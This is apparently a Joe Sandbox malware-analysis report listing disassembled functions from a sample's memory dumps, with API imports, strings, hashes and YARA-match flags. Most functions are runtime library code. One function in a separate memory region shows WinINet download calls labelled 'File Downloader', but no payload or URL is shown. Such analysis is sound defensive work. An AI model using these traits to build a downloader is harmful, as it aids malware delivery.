API String ID: 570795689-0
Opcode ID: 1e41568088f52e644b31898b0bd17a5a6d325f530ffdd94440ff6c92a5c92b21
Instruction ID: 555eccc02260d67eb8e6d6c8acdfb0d4a421baf86fa6dce5e917e44420ce07e0
Opcode Fuzzy Hash: 1e41568088f52e644b31898b0bd17a5a6d325f530ffdd94440ff6c92a5c92b21
Instruction Fuzzy Hash: 6D414B14B0B202E6F9AA7371F991039A1A15F44775FDB47B8D82E066F6ED2CF80B4721

Function 00007FF7AA1016C0 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 193COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7AA1016FD
RtlImageNtHeader.NTDLL ref: 00007FF7AA10171D
RtlGetNtVersionNumbers.NTDLL ref: 00007FF7AA10177A
RtlGetNtVersionNumbers.NTDLL ref: 00007FF7AA1017B7
RtlImageNtHeader.NTDLL ref: 00007FF7AA101822
RtlImageNtHeader.NTDLL ref: 00007FF7AA10187B
RtlGetNtVersionNumbers.NTDLL ref: 00007FF7AA101914

Strings

ntdll.dll, xrefs: 00007FF7AA1016F3
.data, xrefs: 00007FF7AA10170A
.mrdata, xrefs: 00007FF7AA1017D6

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: HeaderImageNumbersVersion$HandleModule
String ID: .data$.mrdata$ntdll.dll
API String ID: 389246363-825320017
Opcode ID: ad4b1c0749fa3893729116aa8c799c12bbef0251717b69bc78c060cccdf372d6
Instruction ID: 84149ea5cf5bf3edaea00ffbd7c009c008548d7c0d5bcf5644998ef695fac633
Opcode Fuzzy Hash: ad4b1c0749fa3893729116aa8c799c12bbef0251717b69bc78c060cccdf372d6
Instruction Fuzzy Hash: 47917A32F06A11E9FB429B61E4442BDB3B1FB08B48F960476CE0D67A68DF3C9546C360

Function 00007FF7AA10FAE0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 108COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10FC44
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10FC51
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10FC5E
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10FC6B
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10FC78

Strings

Number is too big, xrefs: 00007FF7AA10FC57
Can not switch from manual to automatic indexing, xrefs: 00007FF7AA10FC71
Can not switch from automatic to manual indexing, xrefs: 00007FF7AA10FC4A
Invalid format string., xrefs: 00007FF7AA10FC64
Precision not allowed for this argument type., xrefs: 00007FF7AA10FC3D

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Can not switch from automatic to manual indexing$Can not switch from manual to automatic indexing$Invalid format string.$Number is too big$Precision not allowed for this argument type.
API String ID: 909987262-435359029
Opcode ID: 08573abdc2a186ac1af95c93dda87a7c9d128e6faae08f844816f6107c08fc17
Instruction ID: 553241b660dd3a18a5eaef6e653fd5a82b0405964c6b596cd6d72201dd08f612
Opcode Fuzzy Hash: 08573abdc2a186ac1af95c93dda87a7c9d128e6faae08f844816f6107c08fc17
Instruction Fuzzy Hash: 79411921A0DA49D6FA16EB18E1622B9B3B1EF41780FE64172D79D421F1DF2CE583C750

Function 00000218BFBDFDCC Relevance: 16.2, APIs: 6, Strings: 3, Instructions: 407COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDFDFB
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDFECB

Strings

0, xrefs: 00000218BFBDFF07
0, xrefs: 00000218BFBDFEF5
0, xrefs: 00000218BFBDFE9D

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID: 0$0$0
API String ID: 3215553584-3137946472
Opcode ID: c13ea352d321776aceeea9581779599aef3778c14aa0c6b54d648fb53a65a266
Instruction ID: b1d2fc41fe250b84fa3a4ff69b874bf100fa705fa694de3d55361af1b375f884
Opcode Fuzzy Hash: c13ea352d321776aceeea9581779599aef3778c14aa0c6b54d648fb53a65a266
Instruction Fuzzy Hash: B4E1E63610E6858AFB609F2C94D83ED3B95D7727CCF588412D7A4C7786CE398E598B02

Function 00007FF7AA102B10 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 174COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF7AA102B8D
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00007FF7AA102BD5
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA102D51
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA102D64
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF7AA102D6A

Strings

true, xrefs: 00007FF7AA102C8C
false, xrefs: 00007FF7AA102C5D
bad locale name, xrefs: 00007FF7AA102D57

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: f2f676a565f09d11e56bcdec2049853dbd75c07a87b5aee6448638d9ac0d1cf9
Instruction ID: a9f250f0f360dc86b74e28a4877c39253bb0b319aceafd5239bcede0fdcf779f
Opcode Fuzzy Hash: f2f676a565f09d11e56bcdec2049853dbd75c07a87b5aee6448638d9ac0d1cf9
Instruction Fuzzy Hash: F2718122B06B41EAFB16EF60E4502ACB3B5AF44748F964079DE4C57A66DE3CD412C364

Function 00000218BFBC4C60 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 159COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00000218BFBC4CDD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00000218BFBC4D25
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBC4EA1
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBC4EB4
Concurrency::cancel_current_task.LIBCPMT ref: 00000218BFBC4EBA

Strings

true, xrefs: 00000218BFBC4DDC
false, xrefs: 00000218BFBC4DAD
bad locale name, xrefs: 00000218BFBC4EA7

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Concurrency::cancel_current_task$std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name$false$true
API String ID: 164343898-1062449267
Opcode ID: 5f2ed07e5030618b00f6371355abd5c80eec764d8848247fda5f00fccaeaef9a
Instruction ID: 9496fb9c36a62849c2f6776c93d555215848d141be81bf413180dc41a5f8fc3e
Opcode Fuzzy Hash: 5f2ed07e5030618b00f6371355abd5c80eec764d8848247fda5f00fccaeaef9a
Instruction Fuzzy Hash: B6717B32709B808AFB19DFB0D4943ED33A6EBA470CF054529DE48A7B99DF348A65D344

Function 00007FF7AA10E230 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 136COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E3F3
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA10E400

Strings

Number is too big, xrefs: 00007FF7AA10E3EC
Can not switch from manual to automatic indexing, xrefs: 00007FF7AA10E3F9
Can not switch from automatic to manual indexing, xrefs: 00007FF7AA10E3DF
Invalid format string., xrefs: 00007FF7AA10E3D2

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Xinvalid_argumentstd::_
String ID: Can not switch from automatic to manual indexing$Can not switch from manual to automatic indexing$Invalid format string.$Number is too big
API String ID: 909987262-180087107
Opcode ID: 068709c7c03d6538d661d64badbd28962f5457fdc8ef99600b1a680d32a5ac92
Instruction ID: a21f1be5aba711fcc0e0b47ae1278ffac3b229b34c516f7d596550ca60f9edb7
Opcode Fuzzy Hash: 068709c7c03d6538d661d64badbd28962f5457fdc8ef99600b1a680d32a5ac92
Instruction Fuzzy Hash: 79510222A0D486D5FA16AB29F0505BCB771FB41B44FE90172E2AE461F1CF2CE583C714

Function 00000218BFBEBCE4 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 00000218BFBEBE60
GetProcAddress.KERNEL32 ref: 00000218BFBEBE6C

Strings

ext-ms-, xrefs: 00000218BFBEBDBD
api-ms-, xrefs: 00000218BFBEBDAA

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: c6120ce6c378417c8061f2daa80316ce8b84504fe2d3d9dfde353b277e126bba
Instruction ID: 5dfe9399bd56bff39bb526d870ad71423619f2c4ff5cab2c746b0366659f2018
Opcode Fuzzy Hash: c6120ce6c378417c8061f2daa80316ce8b84504fe2d3d9dfde353b277e126bba
Instruction Fuzzy Hash: A141F631319A1082FB1ACB1698D87DD2395F765BE8F498925DE69C7784EE38CE458700

Function 00007FF7AA123EB8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,?,?,00007FF7AA1245C0,?,?,?,?,00007FF7AA133C82), ref: 00007FF7AA124034
GetProcAddress.KERNEL32(?,?,?,00007FF7AA1245C0,?,?,?,?,00007FF7AA133C82), ref: 00007FF7AA124040

Strings

api-ms-, xrefs: 00007FF7AA123F7E
ext-ms-, xrefs: 00007FF7AA123F91

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 1b5fdbe1bb0740eddaadd1b93e53b15a36ff09217fdd149a8004e8997376f726
Instruction ID: 414b8f41b01c43760f3a400014b0c402fb4e6ccadb434505382123400bba5c81
Opcode Fuzzy Hash: 1b5fdbe1bb0740eddaadd1b93e53b15a36ff09217fdd149a8004e8997376f726
Instruction Fuzzy Hash: 0841D225B1BA02E1FB57AB16F840575A2B1BF44BD0F8A4175ED0D4B7A4EE3CE44B8320

Function 00000218BFBC5090 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 81networkfileCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET ref: 00000218BFBC50FB
InternetOpenUrlA.WININET ref: 00000218BFBC5130
InternetReadFile.WININET ref: 00000218BFBC5151
InternetReadFile.WININET ref: 00000218BFBC518F
InternetCloseHandle.WININET ref: 00000218BFBC519C
InternetCloseHandle.WININET ref: 00000218BFBC51A5

Strings

File Downloader, xrefs: 00000218BFBC50F4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandleOpenRead
String ID: File Downloader
API String ID: 4038090926-3631955488
Opcode ID: d760029ad861ea7f7ea2ffc299629ee0db5f3c755485599aed123bc73a668a15
Instruction ID: e65bd044b3df3db31655d95ee609d54fdcee1bdd878e3c64b17d83849e9db67e
Opcode Fuzzy Hash: d760029ad861ea7f7ea2ffc299629ee0db5f3c755485599aed123bc73a668a15
Instruction Fuzzy Hash: 9C315032618B9486F7208F15E8A87DEB760FB99FC8F545015EE8983B58DF78C695CB00

Function 00000218BFBE32AC Relevance: 11.0, APIs: 3, Strings: 3, Instructions: 494COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE32EF
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE36DC
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE3978

Strings

f, xrefs: 00000218BFBE3411
p, xrefs: 00000218BFBE33A1
p, xrefs: 00000218BFBE3419

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$p$p
API String ID: 3215553584-1995029353
Opcode ID: da133f4d1d1d50a9f8077a7ed93c78c5851a9c9ee1111e96f3e2a2a160aeb47c
Instruction ID: 4988ac6b3d30b016059709ca00c19bf2e7b6eb2515f8c7b1ff84924f9a1fb321
Opcode Fuzzy Hash: da133f4d1d1d50a9f8077a7ed93c78c5851a9c9ee1111e96f3e2a2a160aeb47c
Instruction Fuzzy Hash: 99129F7770C24186FB209B15D49C7EE7BA5F3A0758F8C4916E6A2866C4DF39CEA08F11

Function 00000218BFBE81FC Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000218BFBE820B
FlsGetValue.KERNEL32 ref: 00000218BFBE8220
FlsSetValue.KERNEL32 ref: 00000218BFBE8241
FlsSetValue.KERNEL32 ref: 00000218BFBE826E
FlsSetValue.KERNEL32 ref: 00000218BFBE827F
FlsSetValue.KERNEL32 ref: 00000218BFBE8290
SetLastError.KERNEL32 ref: 00000218BFBE82AB

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 802919b416e315a510088a5e784666147f24c995793ab401ebac47fa396b2d7a
Instruction ID: fda1443da3fbcc2b3636d7c81bb559387ae5c693b93920517caccc93b4470038
Opcode Fuzzy Hash: 802919b416e315a510088a5e784666147f24c995793ab401ebac47fa396b2d7a
Instruction Fuzzy Hash: DC215E3020DA0142FB54677166ED3FD63529B647F8F144F249936C6AD6DE28CE428B00

Function 00000218BFBFABDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000218BFBFAC0D
GetLastError.KERNEL32 ref: 00000218BFBFAC19
CloseHandle.KERNEL32 ref: 00000218BFBFAC31
CreateFileW.KERNEL32 ref: 00000218BFBFAC5C
WriteConsoleW.KERNEL32 ref: 00000218BFBFAC7B

Strings

CONOUT$, xrefs: 00000218BFBFAC3D

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 97ef1f90b5d1e549fd4d93c948d975b58c02b300c1de8e440893a5efab19f807
Instruction ID: e1eab6bb5945bc13aebc240443082bb8e4cbf480cf2d5f53c725eeb6b3c629d3
Opcode Fuzzy Hash: 97ef1f90b5d1e549fd4d93c948d975b58c02b300c1de8e440893a5efab19f807
Instruction Fuzzy Hash: 2A119431318B5086F7508F56E8A879DB7A4F7A8FE8F044214EA5DC7B94CF78CA948740

Function 00000218BFC0B73C Relevance: 9.2, APIs: 6, Instructions: 239COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32 ref: 00000218BFC0B7E9
MultiByteToWideChar.KERNEL32 ref: 00000218BFC0B885
MultiByteToWideChar.KERNEL32 ref: 00000218BFC0B92E
MultiByteToWideChar.KERNEL32 ref: 00000218BFC0B958
MultiByteToWideChar.KERNEL32 ref: 00000218BFC0BA00
CompareStringEx.KERNEL32 ref: 00000218BFC0BA4D

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$CompareInfoString
String ID:
API String ID: 2984826149-0
Opcode ID: ab7e75f2883cad40e90fab743296f144bd79ee85a7c99ab5de0f741cdd8f7a66
Instruction ID: d070d7a3255ba1a677aa7668d39ea3335dc489ad889169308001cbebfaabc7ac
Opcode Fuzzy Hash: ab7e75f2883cad40e90fab743296f144bd79ee85a7c99ab5de0f741cdd8f7a66
Instruction Fuzzy Hash: A8A1B9722087A086FB21CF3594A87ED6792FB60B9CF544621DA58C77E5DF38CA868300

Function 00000218BFC0B3DC Relevance: 9.2, APIs: 6, Instructions: 206COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00000218BFC0B44C
MultiByteToWideChar.KERNEL32 ref: 00000218BFC0B4EA
LCMapStringEx.KERNEL32 ref: 00000218BFC0B553
LCMapStringEx.KERNEL32 ref: 00000218BFC0B5A5
LCMapStringEx.KERNEL32 ref: 00000218BFC0B64A
WideCharToMultiByte.KERNEL32 ref: 00000218BFC0B6A4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: a17d41df7d4fcd83c170866fb1b58b26a6ae7521d63a390143938d7d4d5e554f
Instruction ID: 022ecad1d6c723e59dbbc0051146cd1a550d6a5ddfc62d1e3e9d84c2a9d67d07
Opcode Fuzzy Hash: a17d41df7d4fcd83c170866fb1b58b26a6ae7521d63a390143938d7d4d5e554f
Instruction Fuzzy Hash: 8D81A47221879086EB24CF25D4987DD73E6FB64BACF540621EA59C7BE5DF38C6828700

Function 00000218BFBE03B8 Relevance: 9.2, APIs: 6, Instructions: 157COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE042A
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE045B
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE049B
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE04DD
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE0512
_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBE058F

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: ca3f80eaf004f362beb8f5b3b26ae04cc2cf7c865ac26bc256f85fe2d54e20e3
Instruction ID: d8b6b1f2863c0617f0558940f96998d81316b4d58a99af6d0fd3edd43809ef1c
Opcode Fuzzy Hash: ca3f80eaf004f362beb8f5b3b26ae04cc2cf7c865ac26bc256f85fe2d54e20e3
Instruction Fuzzy Hash: 8451467610D684C5EB629F28D0E43ED37F5D765B8CF588812C79887386DE2D8E49CB12

Function 00000218BFBE8374 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000218BFBE8383
FlsSetValue.KERNEL32(?,?,-2891666E48DAA7FF,00000218BFBE40D5,?,?,?,?,00000218BFBEB584), ref: 00000218BFBE83B9
FlsSetValue.KERNEL32(?,?,-2891666E48DAA7FF,00000218BFBE40D5,?,?,?,?,00000218BFBEB584), ref: 00000218BFBE83E6
FlsSetValue.KERNEL32(?,?,-2891666E48DAA7FF,00000218BFBE40D5,?,?,?,?,00000218BFBEB584), ref: 00000218BFBE83F7
FlsSetValue.KERNEL32(?,?,-2891666E48DAA7FF,00000218BFBE40D5,?,?,?,?,00000218BFBEB584), ref: 00000218BFBE8408
SetLastError.KERNEL32 ref: 00000218BFBE8423

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4dcc4907368f82da2d4f10a22dd2af241d0de324094643a8daeb9968e7d3aa20
Instruction ID: 41c55e58e0f1ade94fcd8c77c622a3a0817f56f2a76553b2ee2ad7df55886964
Opcode Fuzzy Hash: 4dcc4907368f82da2d4f10a22dd2af241d0de324094643a8daeb9968e7d3aa20
Instruction Fuzzy Hash: 8A113D3030D65046FB54A72566E93FD63929B747BCF184B24A936C6AD6DF28DE428B00

Function 00007FF7AA120B74 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000,00007FF7AA12BF97,?,?,?), ref: 00007FF7AA120B83
FlsSetValue.KERNEL32(?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000,00007FF7AA12BF97,?,?,?), ref: 00007FF7AA120BB9
FlsSetValue.KERNEL32(?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000,00007FF7AA12BF97,?,?,?), ref: 00007FF7AA120BE6
FlsSetValue.KERNEL32(?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000,00007FF7AA12BF97,?,?,?), ref: 00007FF7AA120BF7
FlsSetValue.KERNEL32(?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000,00007FF7AA12BF97,?,?,?), ref: 00007FF7AA120C08
SetLastError.KERNEL32(?,?,000095D61E68ED83,00007FF7AA12066D,?,?,?,?,00007FF7AA12C66A,?,?,00000000,00007FF7AA12BF97,?,?,?), ref: 00007FF7AA120C23

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 971659c83b38dd1a66ee83da3a75f24331de4a36c570b19d199c4687843c0274
Instruction ID: 33100960857177718d512fd3e381278afe27d9526d82d78def7a3a3416deadde
Opcode Fuzzy Hash: 971659c83b38dd1a66ee83da3a75f24331de4a36c570b19d199c4687843c0274
Instruction Fuzzy Hash: 70116224B0B642D2FAA67771FA91139E1715F847B4F8207B4D82D066F6ED2CF84B8720

Function 00000218BFB7DB90 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 281COMMON

Download Yara Rule

APIs

__std_fs_code_page.LIBCPMT ref: 00000218BFB7DBEF

Part of subcall function 00000218BFC09570: AreFileApisANSI.KERNEL32 ref: 00000218BFC09582

__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFB7DE97
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFB7DF51

Strings

", ", xrefs: 00000218BFB7DCDD
: ", xrefs: 00000218BFB7DCAA

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: __std_exception_destroy$ApisFile__std_fs_code_page
String ID: ", "$: "
API String ID: 741338541-747220369
Opcode ID: 22ddfa475eeae45de1cd7e365975f51a2e41ab9aa1c1d35f7e58a2736b3e4656
Instruction ID: 08abdaea88f872abfecdf8e0ef7fe429c91b827d8b1797c7a759125601ed5455
Opcode Fuzzy Hash: 22ddfa475eeae45de1cd7e365975f51a2e41ab9aa1c1d35f7e58a2736b3e4656
Instruction Fuzzy Hash: 85B1AE72709B4096EB00DF65E4983EC27A1E768BCCF508521EE5D97B9ADF34CA95C380

Function 00007FF7AA112C7F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 70COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112CAB
std::_Xinvalid_argument.LIBCPMT ref: 00007FF7AA112CB8
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF7AA112CF4

Strings

